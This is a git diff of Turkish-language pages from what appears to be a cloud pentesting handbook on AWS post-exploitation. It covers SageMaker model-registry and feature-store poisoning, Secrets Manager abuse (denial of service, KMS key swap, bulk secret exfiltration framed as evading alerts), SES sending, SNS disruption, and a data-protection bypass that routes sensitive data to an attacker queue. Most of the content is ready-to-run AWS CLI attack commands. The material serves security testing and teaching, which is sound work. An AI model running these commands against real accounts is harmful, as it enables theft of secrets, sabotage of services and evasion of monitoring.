endpoints veya training jobs'a dağıtır; bu da servisin execution roles altında saldırgan kodunun çalıştırılmasına yol açar. Hesaplar arası maruziyet, permissive ModelPackageGroup resource policy ile daha da artabilir. + +### Gereksinimler +- IAM (var olan bir grubu zehirlemek için minimum): hedef ModelPackageGroup üzerinde `sagemaker:CreateModelPackage` +- Opsiyonel (grup yoksa oluşturmak için): `sagemaker:CreateModelPackageGroup` +- S3: Referans verilen ModelDataUrl için okuma erişimi (veya saldırgan kontrolündeki artefaktları barındırma) +- Hedef: Aşağı yönlü otomasyonun Approved sürümleri izlediği bir Model Package Group + +### Adımlar +1) Bölgeyi (region) ayarlayın ve hedef bir Model Package Group oluşturun/veya bulun +```bash +REGION=${REGION:-us-east-1} +MPG=victim-group-$(date +%s) +aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group" +``` +2) S3'te örnek model verisini hazırla +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-mpkg-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +head -c 1024 /tmp/model.tar.gz +aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION +``` +3) Genel kullanıma açık bir AWS DLC imajına referans veren kötü amaçlı (burada zararsız) Approved model package version kaydetme +```bash +IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3" +cat > /tmp/inf.json << JSON +{ +"Containers": [ +{ +"Image": "$IMG", +"ModelDataUrl": "s3://$BUCKET/model/model.tar.gz" +} +], +"SupportedContentTypes": ["text/csv"], +"SupportedResponseMIMETypes": ["text/csv"] +} +JSON +aws sagemaker create-model-package --region $REGION --model-package-group-name $MPG --model-approval-status Approved --inference-specification file:///tmp/inf.json +``` +4) Yeni Approved sürümün mevcut olduğunu doğrulayın +```bash +aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table +``` +### Etki +- Model Registry'yi, saldırgan tarafından kontrol edilen koda referans veren bir Approved sürümü ile zehirleyin. Approved modelleri otomatik dağıtan Pipelines, saldırgan imajını çekip çalıştırabilir ve böylece endpoint/training rollerinde kod yürütülmesine yol açabilir. +- İzin verici bir ModelPackageGroup kaynak politikası (PutModelPackageGroupPolicy) varsa, bu suistimal hesaplar arası tetiklenebilir. + +## Feature store poisoning + +Online inference tarafından tüketilen canlı feature değerlerini üzerine yazmak için OnlineStore etkin bir Feature Group üzerinde `sagemaker:PutRecord`'ı kötüye kullanın. `sagemaker:GetRecord` ile birleştirildiğinde, saldırgan hassas feature'ları okuyabilir. Bunun için modellere veya endpoints erişimine gerek yoktur. + +{{#ref}} +feature-store-poisoning.md +{{/ref}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md new file mode 100644 index 000000000..7034d74ec --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md @@ -0,0 +1,50 @@ +# SageMaker Feature Store online store poisoning + +`sagemaker:PutRecord`'ı OnlineStore etkin olan bir Feature Group üzerinde kötüye kullanarak, online inference tarafından tüketilen canlı özellik değerlerinin üzerine yazın. `sagemaker:GetRecord` ile birleştirildiğinde, bir saldırgan hassas özellikleri okuyabilir. Bunun için model veya endpoint erişimine gerek yoktur. + +## Gereksinimler +- İzinler: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord` +- Hedef: OnlineStore etkin bir Feature Group (genellikle gerçek zamanlı çıkarımı destekler) + +## Adımlar +1) Test için küçük bir Online Feature Group seçin veya oluşturun +```bash +REGION=${REGION:-us-east-1} +FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text) +if [ -z "$FG" -o "$FG" = "None" ]; then +ACC=$(aws sts get-caller-identity --query Account --output text) +FG=ht-fg-$ACC-$(date +%s) +ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole) +aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN" +echo "Waiting for feature group to be in Created state..." +for i in $(seq 1 40); do +ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true) +echo $ST; [ "$ST" = "Created" ] && break; sleep 15 +done +fi +``` +2) Çevrimiçi bir kayıt ekle/üzerine yaz (poison) +```bash +NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ) +cat > /tmp/put.json << JSON +{ +"FeatureGroupName": "$FG", +"Record": [ +{"FeatureName": "entity_id", "ValueAsString": "user-123"}, +{"FeatureName": "event_time", "ValueAsString": "$NOW"}, +{"FeatureName": "risk_score", "ValueAsString": "0.99"} +], +"TargetStores": ["OnlineStore"] +} +JSON +aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json +``` +3) Manipülasyonu doğrulamak için kaydı geri okuyun +```bash +aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString" +``` +Beklenen: risk_score 0.99 döner (attacker-set), modeller tarafından tüketilen online özellikleri değiştirme kabiliyetini kanıtlar. + +## Etki +- Real-time integrity attack: üretim modelleri tarafından kullanılan özellikleri endpoints/models'a dokunmadan manipüle etme. +- Gizlilik riski: OnlineStore'dan GetRecord aracılığıyla hassas özellikleri okuma. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md deleted file mode 100644 index 445f68b62..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation.md +++ /dev/null @@ -1,130 +0,0 @@ -# AWS - Secrets Manager Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## Secrets Manager - -Daha fazla bilgi için bakın: - -{{#ref}} -../aws-services/aws-secrets-manager-enum.md -{{#endref}} - -### Secrets Okuma - -**secrets kendileri hassas bilgilerdir**, nasıl okunacağını öğrenmek için [privesc sayfasına bakın](../aws-privilege-escalation/aws-secrets-manager-privesc.md). - -### DoS Secret Değerini Değiştirme - -secret'in değerini değiştirerek, o değere bağımlı tüm sistemleri **DoS edebilirsiniz.** - -> [!WARNING] -> Önceki değerlerin de saklandığını unutmayın, bu yüzden önceki değere kolayca geri dönebilirsiniz. -```bash -# Requires permission secretsmanager:PutSecretValue -aws secretsmanager put-secret-value \ ---secret-id MyTestSecret \ ---secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" -``` -### DoS Change KMS key - -Eğer saldırganın secretsmanager:UpdateSecret izni varsa, secret'ı saldırgana ait bir KMS key kullanacak şekilde yapılandırabilir. O key başlangıçta herkesin erişip kullanabileceği şekilde ayarlandığı için, secret'ı yeni key ile güncellemek mümkün olur. Key erişilebilir olmasaydı, secret güncellenemezdi. - -Secret için key değiştirildikten sonra saldırgan, key'inin yapılandırmasını yalnızca kendisinin erişebileceği şekilde değiştirir. Böylece, secret'ın sonraki sürümleri yeni key ile şifrelenir ve bu key'e erişim olmadığından secret'ı almak imkânsız hale gelir. - -Bu erişilemezliğin yalnızca secret içeriği değiştikten sonraki sürümlerde meydana geleceğini not etmek önemlidir; çünkü mevcut sürüm hâlâ orijinal KMS key ile şifrelenmiş durumdadır. -```bash -aws secretsmanager update-secret \ ---secret-id MyTestSecret \ ---kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE -``` -### DoS Secret'i Silme - -Bir secret'i silmek için gereken minimum gün sayısı 7'dir. -```bash -aws secretsmanager delete-secret \ ---secret-id MyTestSecret \ ---recovery-window-in-days 7 -``` -## secretsmanager:RestoreSecret - -Bir secret'i geri yüklemek mümkündür; bu, silinmek üzere planlanmış secret'lerin geri yüklenmesine olanak tanır; çünkü secret'ler için minimum silme süresi 7 gün, maksimum ise 30 gündür. secretsmanager:GetSecretValue izniyle birlikte bunların içeriğini almak mümkün olur. - -Silinme sürecinde olan bir secret'i kurtarmak için aşağıdaki komutu kullanabilirsiniz: -```bash -aws secretsmanager restore-secret \ ---secret-id -``` -## secretsmanager:DeleteResourcePolicy - -Bu işlem, bir secret'e kimlerin erişebileceğini kontrol eden resource policy'yi silmeye izin verir. Resource policy belirli bir kullanıcı grubuna erişim verecek şekilde yapılandırıldıysa bu DoS'ye yol açabilir. - -Resource policy'yi silmek için: -```bash -aws secretsmanager delete-resource-policy \ ---secret-id -``` -## secretsmanager:UpdateSecretVersionStage - -Bir secret'in durumları, secret sürümlerini yönetmek için kullanılır. AWSCURRENT uygulamaların kullandığı aktif sürümü işaret eder, AWSPREVIOUS gerektiğinde geri alabilmeniz için önceki sürümü tutar ve AWSPENDING yeni bir sürümü mevcut hale getirmeden önce hazırlamak ve doğrulamak için rotasyon sürecinde kullanılır. - -Uygulamalar her zaman AWSCURRENT etiketi olan sürümü okur. Birisi bu etiketi yanlış bir sürüme taşırsa, uygulamalar geçersiz kimlik bilgilerini kullanır ve başarısız olabilir. - -AWSPREVIOUS otomatik olarak kullanılmaz. Ancak AWSCURRENT kaldırılır veya yanlış atanırsa, her şeyin hâlâ önceki sürümle çalışıyor gibi görünebilir. -```bash -aws secretsmanager update-secret-version-stage \ ---secret-id \ ---version-stage AWSCURRENT \ ---move-to-version-id \ ---remove-from-version-id -``` -{{#include ../../../banners/hacktricks-training.md}} - - - - - -### BatchGetSecretValue ile Toplu Secret Exfiltration (her çağrıda en fazla 20) - -Secrets Manager BatchGetSecretValue API'sini kötüye kullanarak tek bir istekte en fazla 20 secret alabilirsiniz. Bu, her secret için GetSecretValue çağrısı yapmaya kıyasla API çağrısı hacmini önemli ölçüde azaltabilir. Eğer filtreler (tags/name) kullanılıyorsa, ListSecrets izni de gereklidir. CloudTrail yine de toplu olarak alınan her secret için bir GetSecretValue olayı kaydeder. - -Gerekli izinler -- secretsmanager:BatchGetSecretValue -- secretsmanager:GetSecretValue for each target secret -- secretsmanager:ListSecrets if using --filters -- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager) - -> [!WARNING] -> Note that the permission `secretsmanager:BatchGetSecretValue` is not included enough to retrieve secrets, you also need `secretsmanager:GetSecretValue` for each secret you want to retrieve. - -Exfiltrate by explicit list -```bash -aws secretsmanager batch-get-secret-value \ ---secret-id-list \ ---query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' -``` -Exfiltrate filtrelerle (tag key/value or name prefix) -```bash -# By tag key -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-key,Values=env \ ---max-results 20 \ ---query 'SecretValues[].{Name:Name,Val:SecretString}' - -# By tag value -aws secretsmanager batch-get-secret-value \ ---filters Key=tag-value,Values=prod \ ---max-results 20 - -# By name prefix -aws secretsmanager batch-get-secret-value \ ---filters Key=name,Values=MyApp -``` -Kısmi başarısızlıkların ele alınması -```bash -# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters -aws secretsmanager batch-get-secret-value --secret-id-list -``` -Etkisi -- Daha az API çağrısıyla birçok sırrın hızlı “smash-and-grab” ile ele geçirilmesi, GetSecretValue artışlarına göre ayarlanmış uyarıları potansiyel olarak atlatabilir. -- CloudTrail günlükleri hâlâ toplu işlemle alınan her sır için bir GetSecretValue olayı içerir. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md new file mode 100644 index 000000000..e1d1a72fc --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md @@ -0,0 +1,130 @@ +# AWS - Secrets Manager Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Secrets Manager + +Daha fazla bilgi için bakınız: + +{{#ref}} +../../aws-services/aws-secrets-manager-enum.md +{{#endref}} + +### Secrets Okuma + +The **Secrets kendileri hassas bilgilerdir**, nasıl okunacağını öğrenmek için [privesc sayfasına bakın](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md). + +### DoS: Secret Değerini Değiştirme + +Secret'in değerini değiştirerek, **o değere bağımlı tüm sistemleri DoS edebilirsiniz.** + +> [!WARNING] +> Önceki değerlerin de saklandığını unutmayın, bu yüzden önceki değere geri dönmek kolaydır. +```bash +# Requires permission secretsmanager:PutSecretValue +aws secretsmanager put-secret-value \ +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +``` +### DoS Change KMS key + +Eğer saldırganın secretsmanager:UpdateSecret izni varsa, secret'i saldırganın sahip olduğu bir KMS key kullanacak şekilde yapılandırabilir. Bu anahtar başlangıçta herkesin erişip kullanabilmesi için ayarlanmıştır, bu yüzden secret'i yeni anahtar ile güncellemek mümkündür. Anahtara erişilemiyor olsaydı, secret güncellenemezdi. + +Secret için anahtarı değiştirdikten sonra saldırgan, anahtarın yapılandırmasını yalnızca kendisinin erişebileceği şekilde değiştirir. Böylece secret'in sonraki versiyonları yeni anahtarla şifrelenecek ve anahtara erişim olmadığından secret'i almak imkânsız hale gelir. + +Önemli bir nokta: erişilemezlik yalnızca secret içeriği değiştikten sonra, yani sonraki versiyonlarda meydana gelir; çünkü mevcut versiyon hala orijinal KMS key ile şifrelenmiştir. +```bash +aws secretsmanager update-secret \ +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +``` +### DoS Secret Silme + +Bir secret'i silmek için gereken minimum gün sayısı 7'dir +```bash +aws secretsmanager delete-secret \ +--secret-id MyTestSecret \ +--recovery-window-in-days 7 +``` +## secretsmanager:RestoreSecret + +Bir secret'i geri yüklemek mümkündür; bu, silinmek üzere planlanmış secret'lerin geri yüklenmesine olanak tanır, çünkü secret'ler için minimum silme süresi 7 gün ve maksimum 30 gündür. secretsmanager:GetSecretValue izni ile birlikte, bunların içeriklerini almayı mümkün kılar. + +Silinme sürecinde olan bir secret'i kurtarmak için aşağıdaki komutu kullanabilirsiniz: +```bash +aws secretsmanager restore-secret \ +--secret-id +``` +## secretsmanager:DeleteResourcePolicy + +Bu eylem, bir secret'e kimlerin erişebileceğini kontrol eden resource policy'yi silmeye izin verir. Resource policy, erişimi belirli bir kullanıcı grubuna izin verecek şekilde yapılandırıldıysa bu bir DoS'a yol açabilir. + +Resource policy'yi silmek için: +```bash +aws secretsmanager delete-resource-policy \ +--secret-id +``` +## secretsmanager:UpdateSecretVersionStage + +Bir secret'in durumları, secret sürümlerini yönetmek için kullanılır. AWSCURRENT uygulamaların kullandığı aktif sürümü işaretler, AWSPREVIOUS gerektiğinde geri dönebileceğiniz önceki sürümü saklar ve AWSPENDING yeni bir sürümü şu anki yapmadan önce hazırlamak ve doğrulamak için rotasyon sürecinde kullanılır. + +Uygulamalar her zaman AWSCURRENT etiketine sahip sürümü okur. Birisi bu etiketi yanlış bir sürüme taşırsa, uygulamalar geçersiz kimlik bilgileri kullanır ve başarısız olabilir. + +AWSPREVIOUS otomatik olarak kullanılmaz. Ancak AWSCURRENT kaldırılır veya yanlış atanırsa, her şeyin hâlâ önceki sürümle çalıştığı izlenimi oluşabilir. +```bash +aws secretsmanager update-secret-version-stage \ +--secret-id \ +--version-stage AWSCURRENT \ +--move-to-version-id \ +--remove-from-version-id +``` +{{#include ../../../../banners/hacktricks-training.md}} + + + + + +### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call) + +Secrets Manager BatchGetSecretValue API'sını suistimal ederek tek bir istekte en fazla 20 secret alabilirsiniz. Bu, her secret için GetSecretValue çağrısını tekrarlamaya kıyasla API çağrısı sayısını önemli ölçüde azaltır. Eğer filtreler kullanılıyorsa (tags/name), ListSecrets izni de gereklidir. CloudTrail yine de batch içinde alınan her secret için bir GetSecretValue olayı kaydeder. + +Gerekli izinler +- secretsmanager:BatchGetSecretValue +- her hedef secret için secretsmanager:GetSecretValue +- --filters kullanılıyorsa secretsmanager:ListSecrets +- secret'lerde kullanılan CMK'ler üzerinde kms:Decrypt (aws/secretsmanager kullanılmıyorsa) + +> [!WARNING] +> `secretsmanager:BatchGetSecretValue` izninin secretleri almak için tek başına yeterli olmadığını unutmayın; almak istediğiniz her secret için ayrıca `secretsmanager:GetSecretValue` iznine ihtiyacınız vardır. + +Exfiltrate by explicit list +```bash +aws secretsmanager batch-get-secret-value \ +--secret-id-list \ +--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}' +``` +Filtrelere göre Exfiltrate (tag key/value veya name prefix) +```bash +# By tag key +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-key,Values=env \ +--max-results 20 \ +--query 'SecretValues[].{Name:Name,Val:SecretString}' + +# By tag value +aws secretsmanager batch-get-secret-value \ +--filters Key=tag-value,Values=prod \ +--max-results 20 + +# By name prefix +aws secretsmanager batch-get-secret-value \ +--filters Key=name,Values=MyApp +``` +Kısmi başarısızlıkların ele alınması +```bash +# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters +aws secretsmanager batch-get-secret-value --secret-id-list +``` +Etkiler +- Daha az API çağrısıyla birçok sırın hızlı “smash-and-grab” ile alınması; bu, GetSecretValue dalgalanmalarına göre ayarlanmış uyarıları atlatabilir. +- CloudTrail günlükleri, toplu işlemle alınan her sır için hâlâ bir GetSecretValue olayı içerir. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md similarity index 61% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md index 06d7687ca..f7e862ee7 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md @@ -1,18 +1,18 @@ # AWS - SES Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## SES -Daha fazla bilgi için kontrol edin: +Daha fazla bilgi için bakınız: {{#ref}} -../aws-services/aws-ses-enum.md +../../aws-services/aws-ses-enum.md {{#endref}} ### `ses:SendEmail` -Bir e-posta gönder. +Bir e-posta gönderir. ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json @@ -21,13 +21,15 @@ Henüz test edilmedi. ### `ses:SendRawEmail` -Bir e-posta gönder. +E-posta gönderir. ```bash aws ses send-raw-email --raw-message file://message.json ``` +Henüz test edilmedi. + ### `ses:SendTemplatedEmail` -Bir şablona dayalı bir e-posta gönderin. +Bir şablona dayalı e-posta gönder. ```bash aws ses send-templated-email --source --destination --template ``` @@ -35,31 +37,33 @@ Henüz test edilmedi. ### `ses:SendBulkTemplatedEmail` -Birden fazla hedefe e-posta gönderin. +Bir e-postayı birden fazla hedefe gönder ```bash aws ses send-bulk-templated-email --source --template ``` -Hala test edilecek. +Henüz test edilmedi. ### `ses:SendBulkEmail` -Birden fazla hedefe e-posta gönderin. +Birden fazla hedefe e-posta gönderir. ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` ### `ses:SendBounce` -Bir **bounce email** gönderin, alınan bir e-posta üzerinden (e-postanın alınamadığını belirten). Bu yalnızca **e-postayı aldıktan sonra 24 saat içinde** yapılabilir. +Alınan bir e-posta üzerinde **bounce e-postası** gönderir (e-postanın alınamadığını bildirir). Bu, e-postayı aldıktan sonra **en fazla 24 saat içinde** yapılabilir. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` +Henüz test edilmedi. + ### `ses:SendCustomVerificationEmail` -Bu, özelleştirilmiş bir doğrulama e-postası gönderecektir. Şablon e-postasını oluşturmak için de izinlere ihtiyacınız olabilir. +Bu, özelleştirilmiş bir doğrulama e-postası gönderir. Şablon e-postayı oluşturmak için ayrıca izinlere ihtiyaç duyabilirsiniz. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` -Henüz test edilmedi. +Henüz test edilmedi. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md deleted file mode 100644 index b1f684b6f..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ /dev/null @@ -1,68 +0,0 @@ -# AWS - SNS Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## SNS - -Daha fazla bilgi için: - -{{#ref}} -../aws-services/aws-sns-enum.md -{{#endref}} - -### Mesajları Kesintiye Uğratma - -Bazı durumlarda, SNS konuları izlenen platformlara (e-postalar, slack mesajları...) mesaj göndermek için kullanılır. Bir saldırgan, buluttaki varlığını bildiren mesajların gönderilmesini engellerse, tespit edilmeden kalabilir. - -### `sns:DeleteTopic` - -Bir saldırgan, tüm bir SNS konusunu silebilir, bu da mesaj kaybına neden olur ve konuyu kullanan uygulamaları etkiler. -```bash -aws sns delete-topic --topic-arn -``` -**Olası Etki**: Silinen konu için uygulamalarda mesaj kaybı ve hizmet kesintisi. - -### `sns:Publish` - -Bir saldırgan, SNS konusuna kötü niyetli veya istenmeyen mesajlar gönderebilir, bu da veri bozulmasına, istenmeyen eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir. -```bash -aws sns publish --topic-arn --message -``` -**Olası Etki**: Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. - -### `sns:SetTopicAttributes` - -Bir saldırgan, bir SNS konusunun özelliklerini değiştirebilir, bu da performansını, güvenliğini veya kullanılabilirliğini etkileyebilir. -```bash -aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value -``` -**Olası Etki**: Yanlış yapılandırmalar, performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açabilir. - -### `sns:Subscribe` , `sns:Unsubscribe` - -Bir saldırgan, bir SNS konusuna abone olabilir veya aboneliğini iptal edebilir, bu da yetkisiz mesaj erişimi kazanmasına veya konuyu kullanan uygulamaların normal işleyişini bozmasına neden olabilir. -```bash -aws sns subscribe --topic-arn --protocol --endpoint -aws sns unsubscribe --subscription-arn -``` -**Potansiyel Etki**: Mesajlara yetkisiz erişim, etkilenen konuya bağlı uygulamalar için hizmet kesintisi. - -### `sns:AddPermission` , `sns:RemovePermission` - -Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir veya meşru kullanıcıların izinlerini iptal edebilir, bu da konuyu kullanan uygulamaların normal işleyişinde kesintilere neden olabilir. -```css -aws sns add-permission --topic-arn --label --aws-account-id --action-name -aws sns remove-permission --topic-arn --label -``` -**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesajların ifşası veya konu manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması. - -### `sns:TagResource` , `sns:UntagResource` - -Bir saldırgan, SNS kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak takibi ve etiketlere dayalı erişim kontrol politikalarını bozabilir. -```bash -aws sns tag-resource --resource-arn --tags Key=,Value= -aws sns untag-resource --resource-arn --tag-keys -``` -**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md new file mode 100644 index 000000000..85c450090 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/README.md @@ -0,0 +1,82 @@ +# AWS - SNS Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SNS + +Daha fazla bilgi için: + +{{#ref}} +../../aws-services/aws-sns-enum.md +{{#endref}} + +### Mesajları Engelleme + +Bazı durumlarda, SNS topics, izlenen platformlara mesaj göndermek için kullanılır (e-postalar, slack mesajları...). Bir saldırgan, buluttaki varlığı hakkında uyarı veren mesajların gönderilmesini engellerse, tespit edilmeden kalabilir. + +### `sns:DeleteTopic` + +Bir saldırgan bir SNS topic'ini tamamen silebilir; bu, mesaj kaybına yol açar ve topic'e bağlı uygulamaları etkiler. +```bash +aws sns delete-topic --topic-arn +``` +**Olası Etki**: Silinmiş topic'i kullanan uygulamalar için mesaj kaybı ve hizmet kesintisi. + +### `sns:Publish` + +Bir saldırgan, SNS topic'e kötü niyetli veya istenmeyen mesajlar gönderebilir; bu, veri bozulmasına, istem dışı eylemlerin tetiklenmesine veya kaynakların tükenmesine yol açabilir. +```bash +aws sns publish --topic-arn --message +``` +**Potansiyel Etki**: Veri bozulması, istenmeyen işlemler veya kaynak tükenmesi. + +### `sns:SetTopicAttributes` + +Bir saldırgan, bir SNS konusunun özelliklerini değiştirebilir; bu da potansiyel olarak performansını, güvenliğini veya kullanılabilirliğini etkileyebilir. +```bash +aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value +``` +**Potential Impact**: Yanlış yapılandırmaların performans düşüşüne, güvenlik sorunlarına veya erişilebilirlik azalmasına yol açması. + +### `sns:Subscribe` , `sns:Unsubscribe` + +Bir saldırgan bir SNS topic'e abone olabilir veya aboneliği iptal edebilir; bu, mesajlara yetkisiz erişim sağlanmasına veya topic'e bağlı uygulamaların normal işleyişinin bozulmasına yol açabilir. +```bash +aws sns subscribe --topic-arn --protocol --endpoint +aws sns unsubscribe --subscription-arn +``` +**Olası Etki**: Mesajlara yetkisiz erişim, etkilenen SNS konusuna bağlı uygulamalar için hizmet kesintisi. + +### `sns:AddPermission` , `sns:RemovePermission` + +Bir saldırgan, yetkisiz kullanıcılar veya servisler için bir SNS konusuna erişim verebilir veya meşru kullanıcıların izinlerini kaldırabilir; bu da konuya bağlı uygulamaların normal işleyişinde kesintilere neden olabilir. +```bash +aws sns add-permission --topic-arn --label --aws-account-id --action-name +aws sns remove-permission --topic-arn --label +``` +**Potansiyel Etki**: topic'e yetkisiz erişim, mesajların ifşa olması veya yetkisiz kullanıcılar/servisler tarafından topic'in manipüle edilmesi; topic'e bağımlı uygulamaların normal işleyişinin bozulması. + +### `sns:TagResource` , `sns:UntagResource` + +Bir saldırgan SNS kaynaklarına etiket ekleyebilir, değiştirebilir veya kaldırabilir; bu durum kuruluşunuzun maliyet tahsisini, kaynak takibini ve etiketlere dayalı erişim kontrol politikalarını bozabilir. +```bash +aws sns tag-resource --resource-arn --tags Key=,Value= +aws sns untag-resource --resource-arn --tag-keys +``` +**Olası Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının bozulması. + +### Daha fazla SNS Post-Exploitation Teknikleri + +{{#ref}} +aws-sns-data-protection-bypass.md +{{#endref}} + +{{#ref}} +aws-sns-fifo-replay-exfil.md +{{#endref}} + +{{#ref}} +aws-sns-firehose-exfil.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md new file mode 100644 index 000000000..3b450217f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-data-protection-bypass.md @@ -0,0 +1,92 @@ +# AWS - SNS Message Data Protection Bypass via Policy Downgrade + +{{#include ../../../../banners/hacktricks-training.md}} + +Eğer bir topic üzerinde `sns:PutDataProtectionPolicy` izniniz varsa, Message Data Protection politikasını Deidentify/Deny'den Audit-only'a (veya Outbound kontrollerini kaldırarak) değiştirebilir ve böylece hassas değerler (ör. kredi kartı numaraları) aboneliğinize değiştirilmeden teslim edilir. + +## Gereksinimler +- Hedef topic üzerinde `sns:PutDataProtectionPolicy` çağırma izni (ve veriyi almak istiyorsanız genelde `sns:Subscribe`). +- Standard SNS topic (Message Data Protection destekli). + +## Saldırı Adımları + +- Değişkenler + +```bash +REGION=us-east-1 +``` + +1) Bir standard topic ve bir saldırgan SQS kuyruğu oluşturun ve sadece bu topic'in kuyruğa göndermesine izin verin + +```bash +TOPIC_ARN=$(aws sns create-topic --name ht-dlp-bypass-$(date +%s) --region $REGION --query TopicArn --output text) +Q_URL=$(aws sqs create-queue --queue-name ht-dlp-exfil-$(date +%s) --region $REGION --query QueueUrl --output text) +Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn 